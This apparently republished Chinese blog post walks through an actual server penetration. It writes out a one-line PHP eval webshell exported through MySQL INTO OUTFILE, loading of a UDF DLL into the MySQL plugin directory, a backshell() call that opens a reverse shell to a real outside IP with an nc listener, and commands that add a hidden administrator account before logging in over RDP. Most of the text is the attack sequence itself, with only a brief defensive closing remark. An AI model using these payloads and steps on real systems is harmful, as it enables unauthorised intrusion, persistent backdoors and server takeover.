javascript和JQuery焦点图和代码特效大全
当前最流行的开源CMS网站系统大全
当前位置:首页 > 编程开发 > 综合技术

mysql无法通过webshell执行命令

来源:IT技术网编辑:雨天发布于:2017-04-02人围观

simeon
   在某些渗透场景中,拿到shell却也因为无法执行命令而苦恼,因为无法执行命令意味做提权就没戏了。在本案例中就遇到拿到shell后无法执行命令,通过前期的一些基础研究发现,其实可以通过udf提权来绕过。下面是整个渗透过程:
 
1.获取数据库root密码
 
  获取该网站的主站密码是通过下载网站cms压缩包获取,如图1所示,从压缩包中直接搜索config.php直接获取,从配置中可以看出虽然密码有些弱口令的味道,但真正能够扫描出来绝对是人品好。

 
2.获取webshell
 
由于网站存在信息泄露,因此逐个访问文件出错获取网站真实路径“E:\PHPnow-1.5.6\htdocs”,如图2所示,通过phpmydmin直接一句话后门导出webshell:
 
select'<?php @eval($_POST[pass]);?>'INTO OUTFILE 'E:/PHPnow-1.5.6/htdocs/p.php'

3.无法执行命令
 
   如图3所示,通过中国菜刀后门管理工具,成功获取webshell,在该shell中执行远程终端命令,提示“执行命令失败,可能远程启用了安全模式”,如图3所示,这个原因到现在我还是没有弄明白,对方服务器是如何配置。

按照k8team那个哥们提供的方法,将那个php文件放上去,结果还是无法执行命令,且提示如下错误:
Parseerror: syntax error, unexpected T_NS_SEPARATOR, expecting T_STRINGin E:\PHPnow-1.5.6\htdocs\cmd.php on line 22
 
    
 
通过一些提权的php大马,如图5所示,通过安装udf进行提权虽然显示执行命令成功,但实际并无效果。
 
 
4. 使用反弹端口提权
 
使用《Mysql数据库反弹端口连接提权》(https://xianzhi.aliyun.com/forum/read/774.html)中的方法,先通过菜刀配置数据库,然后执行查询,将mysqldll.dll导出到插件.
(1)SELECT VERSION( );
获取信息:5.0.90-community-nt
 
(2)select @@datadir;
E:\PHPnow-1.5.6\MySQL-5.0.90\data\
 
(3)将mysqldll.dll导出到系统目录
将mysql.txt文件内容进行查询,创建ghost表,并把mysqlldll.dll文件通过load_file写入数据库表ghost,然后执行导出命令:
 
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'
 
注意在phpmyadmin中执行上面语句会出现以下错误提示:
 
#1064 - You have an error in yourSQL syntax; check the manual that corresponds to your MySQL server version forthe right syntax to use near 'LIMIT 0, 30' at line 2
 
将其在菜刀数据库管理中执行命令,则没有问题。虽然执行命令成功了,但执行创建函数时,提示无法打开mysqldll.dll。后面查看func函数,发现里面并没有写入值,如图6所示。
 
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'
Can't open shared library'mysqldll.dll' (errno: 2 )
 
 
 
通过翻看服务器上的源代码发现服务器上面还允许另外一个mysql数据库是root账号对应密码[email protected],端口3309,通过菜刀进行配置,并执行
 
SHOW VARIABLES WHERE Variable_NameLIKE "%dir"
获取数据库的plugin 位置“D:\server\mysql-5.5.19-winx64\lib\plugin\”及其数据库版本5.5.19-log,如图7所示。
 
 
 
到这一步,通过phpmyadmin明显无法去连接这个服务器,因为它没有指定端口和服务器地址,但我们从mysql的user表中发现,该数据库服务器居然配置多个用户连接host 为“%”,如图8所示。
图8host允许远程连接
 
看到这里直接通过客户端工具进行连接,并执行查询命令,重新创建表并导出dll文件,如图9,图10所示,成功导出mysqlDLL.dll 文件。
select data from Ghost intodumpfile 'D:/server/mysql-5.5.19-winx64/lib/plugin/mysqlDLL.dll';

图9再次执行查询
 
图10成功导出mysqldll.dll
 
(4)执行反弹
 
执行select backshell("122.115.47.39",4433);进行反弹,如图11所示,反弹服务器IP地址为122.115.47.39,端口为4433。
 
 
(5)获取反弹shell
 
在执行反弹前,需要在122.115.47.39服务器上执行nc –vv –l –p 4433命令,进行监听,如图12所示,成功获取反弹shell。
 
 
(6)添加管理员用户到服务器
 
  分别执行命令“net1 localgroup administrators”、“net1 user king$temp2005 /add”
“net1 localgroup administrators king$ /add ”查看管理员组和添加用户king$到管理员组,如图13所示,在系统中开始执行net命令并未成功,后面才知道原因,需要带路径执行。有些时候系统对net命令进行限制,此时可以使用net1命令,或者自己上传一个net.exe来执行。
 
图13添加一个管理员用户
(7)登录远程终端
 
  通过mstsc登录远程终端,,成功登录。
 
5.总结与探讨
 
在本次渗透成功后,在服务器上发现了N多后门,可见渗透无时无刻不在发生,没有被渗透那是服务器的幸运,也是管理者的幸运,但在互联网上,不怕一万,就怕万一,服务器多个用户配置成可以远程访问,会带来很多风险,比如嗅探口令等。
 

与相关的文章
有时间的话来看看IT界的突发事件